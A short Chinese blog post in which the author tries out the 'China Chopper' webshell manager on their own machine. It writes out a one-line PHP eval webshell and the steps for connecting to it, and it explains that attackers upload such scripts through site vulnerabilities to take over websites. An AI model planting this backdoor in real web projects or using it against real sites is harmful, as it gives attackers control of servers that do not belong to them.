今天学习了一个新软件“中国菜刀”很多黑客利用一些网站漏洞，上传一句话木马后，就基本上可以黑下你的站了。
中国菜刀，今天来小试牛刀。
1.先关闭自己机器上的防火墙2. 解压中国菜刀3. 双击中国菜刀.exe,打开界面4. 在根目录的www下写入1.php,内容如下5.在中国菜刀界面空白处单击右键“添加”，出现编辑SHELL，在地址栏写入http://127.0.0.1/1.php，地址后面的小框框里面的“ｈａｐｐｙ”就是你的“口令”，也就是<?php eval($_POST['ｈａｐｐｙ']); ?> 这里的“ｈａｐｐｙ，单击“添加”。
成功。

最后总结下菜刀的工作原理：利用上传到服务器的一句话脚本再通过一些添加配置就可以黑刀你的网站了。